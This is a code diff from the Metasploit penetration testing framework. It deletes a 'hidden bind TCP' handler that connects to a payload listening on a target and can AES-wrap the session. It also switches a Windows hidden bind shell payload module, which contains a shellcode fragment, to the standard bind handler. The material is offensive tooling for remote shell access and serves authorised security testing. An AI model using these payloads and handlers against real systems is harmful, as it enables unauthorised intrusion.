diff --git a/lib/msf/core/handler/bind_hidden_tcp.rb b/lib/msf/core/handler/bind_hidden_tcp.rb
deleted file mode 100644
index 59a59af8cad1..000000000000
--- a/lib/msf/core/handler/bind_hidden_tcp.rb
+++ /dev/null
@@ -1,231 +0,0 @@
-# -*- coding: binary -*-
-module Msf
-module Handler
-
-###
-#
-# This module implements the Bind Hidden TCP handler.  This means that
-# it will attempt to connect to a remote host on a given port for a period of
-# time (typically the duration of an exploit) to see if a the payload has
-# started listening.  This can tend to be rather verbose in terms of traffic
-# and in general it is preferable to use reverse payloads.
-#
-###
-module BindHiddenTcp
-
-  include Msf::Handler
-
-  #
-  # Returns the handler specific string representation, in this case
-  # 'bind_hidden_tcp'.
-  #
-  def self.handler_type
-    return "bind_hidden_tcp"
-  end
-
-  #
-  # Returns the connection oriented general handler type, in this case bind.
-  #
-  def self.general_handler_type
-    "bind"
-  end
-
-  #
-  # Initializes a bind handler and adds the options common to all bind
-  # payloads, such as local port.
-  #
-  def initialize(info = {})
-    super
-
-    register_options(
-      [
-        Opt::LPORT(4444),
-        OptAddress.new('RHOST', [false, 'The target address', '']),
-	      OptAddress.new('AHOST', [true,  'IP address allowed', '192.168.1.33']),
-      ], Msf::Handler::BindHiddenTcp)
-
-    self.conn_threads = []
-    self.listener_threads = []
-    self.listener_pairs = {}
-  end
-
-  #
-  # Kills off the connection threads if there are any hanging around.
-  #
-  def cleanup_handler
-    # Kill any remaining handle_connection threads that might
-    # be hanging around
-    conn_threads.each { |thr|
-      thr.kill
-    }
-  end
-
-  #
-  # Starts a new connecting thread
-  #
-  def add_handler(opts={})
-
-    # Merge the updated datastore values
-    opts.each_pair do |k,v|
-      datastore[k] = v
-    end
-
-    # Start a new handler
-    start_handler
-  end
-
-  #
-  # Starts monitoring for an outbound connection to become established.
-  #
-  def start_handler
-
-    # Maximum number of seconds to run the handler
-    ctimeout = 150
-
-    if (exploit_config and exploit_config['active_timeout'])
-      ctimeout = exploit_config['active_timeout'].to_i
-    end
-
-    # Take a copy of the datastore options
-    
-    ahost = datastore['AHOST']
-    rhost = datastore['RHOST']
-    lport = datastore['LPORT']
-
-    # Ignore this if one of the required options is missing
-    return if not ahost
-    return if not rhost
-    return if not lport
-
-    # Only try the same host/port combination once
-    phash = rhost + ':' + lport.to_s
-    return if self.listener_pairs[phash]
-    self.listener_pairs[phash] = true
-
-    # Start a new handling thread
-    self.listener_threads << framework.threads.spawn("BindTcpHandlerListener-#{lport}", false) {
-      client = nil
-
-      print_status("Started Hidden bind handler")
-
-      if (rhost == nil)
-        raise ArgumentError,
-          "RHOST is not defined; bind stager cannot function.",
-          caller
-      end
-
-      stime = Time.now.to_i
-
-      while (stime + ctimeout > Time.now.to_i)
-        begin
-          client = Rex::Socket::Tcp.create(
-            'PeerHost' => rhost,
-            'PeerPort' => lport.to_i,
-            'Proxies'  => datastore['Proxies'],
-            'Context'  =>
-              {
-                'Msf'        => framework,
-                'MsfPayload' => self,
-                'MsfExploit' => assoc_exploit
-              })
-        rescue Rex::ConnectionRefused
-          # Connection refused is a-okay
-        rescue ::Exception
-          wlog("Exception caught in bind handler: #{$!.class} #{$!}")
-        end
-
-        break if client
-
-        # Wait a second before trying again
-        Rex::ThreadSafe.sleep(0.5)
-      end
-
-      # Valid client connection?
-      if (client)
-        # Increment the has connection counter
-        self.pending_connections += 1
-
-        # Start a new thread and pass the client connection
-        # as the input and output pipe.  Client's are expected
-        # to implement the Stream interface.
-        conn_threads << framework.threads.spawn("BindTcpHandlerSession", false, client) { |client_copy|
-          begin
-            handle_connection(wrap_aes_socket(client_copy))
-          rescue
-            elog("Exception raised from BindHiddenTcp.handle_connection: #{$!}")
-          end
-        }
-      else
-        wlog("No connection received before the handler completed")
-      end
-    }
-  end
-
-  def wrap_aes_socket(sock)
-    if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == ""
-      return sock
-    end
-
-    socks = Rex::Socket::tcp_socket_pair()
-    socks[0].extend(Rex::Socket::Tcp)
-    socks[1].extend(Rex::Socket::Tcp)
-
-    m = OpenSSL::Digest::Digest.new('md5')
-    m.reset
-    key = m.digest(datastore["AESPassword"] || "")
-
-    Rex::ThreadFactory.spawn('AESEncryption', false) {
-      c1 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
-      c1.encrypt
-      c1.key=key
-      sock.put([0].pack('N'))
-      sock.put(c1.iv=c1.random_iv)
-      buf1 = socks[0].read(4096)
-      while buf1 and buf1 != ""
-        sock.put(c1.update(buf1))
-        buf1 = socks[0].read(4096)
-      end
-      sock.close()
-    }
-
-    Rex::ThreadFactory.spawn('AESEncryption', false) {
-      c2 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
-      c2.decrypt
-      c2.key=key
-      iv=""
-      while iv.length < 16
-        iv << sock.read(16-iv.length)
-      end
-      c2.iv = iv
-      buf2 = sock.read(4096)
-      while buf2 and buf2 != ""
-        socks[0].put(c2.update(buf2))
-        buf2 = sock.read(4096)
-      end
-      socks[0].close()
-    }
-
-    return socks[1]
-  end
-
-  #
-  # Nothing to speak of.
-  #
-  def stop_handler
-    # Stop the listener threads
-    self.listener_threads.each do |t|
-      t.kill
-    end
-    self.listener_threads = []
-    self.listener_pairs = {}
-  end
-
-protected
-
-  attr_accessor :conn_threads # :nodoc:
-  attr_accessor :listener_threads # :nodoc:
-  attr_accessor :listener_pairs # :nodoc:
-end
-
-end
-end
diff --git a/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb b/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb
index 57f57f712af5..d768feaa1b84 100644
--- a/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb
+++ b/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb
@@ -4,7 +4,7 @@
 ##
 
 require 'msf/core'
-require 'msf/core/handler/bind_hidden_tcp'
+require 'msf/core/handler/bind_tcp'
 require 'msf/base/sessions/command_shell'
 require 'msf/base/sessions/command_shell_options'
 
@@ -25,13 +25,13 @@ def initialize(info = {})
         [
           'vlad902',    # original payload module (single_shell_bind_tcp)
           'sd',         # original payload module (single_shell_bind_tcp)
-          'Borja Merino <bmerinofe[at]gmail.com>'	# Add Hidden ACL functionality
+          'Borja Merino <bmerinofe[at]gmail.com>' # Add Hidden ACL functionality
         ],
       'License'       => MSF_LICENSE,
       'References'    => ['URL', 'http://www.shelliscoming.com/2014/03/hidden-bind-shell-keep-your-shellcode.html'],
       'Platform'      => 'win',
       'Arch'          => ARCH_X86,
-      'Handler'       => Msf::Handler::BindHiddenTcp,
+      'Handler'       => Msf::Handler::BindTcp,
       'Session'       => Msf::Sessions::CommandShell,
       'Payload'       =>
         {
@@ -69,6 +69,11 @@ def initialize(info = {})
       "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
         }
       ))
+
+    register_options([
+      OptAddress.new('AHOST', [true, "IP address allowed", nil])
+    ])
   end
 
 end
+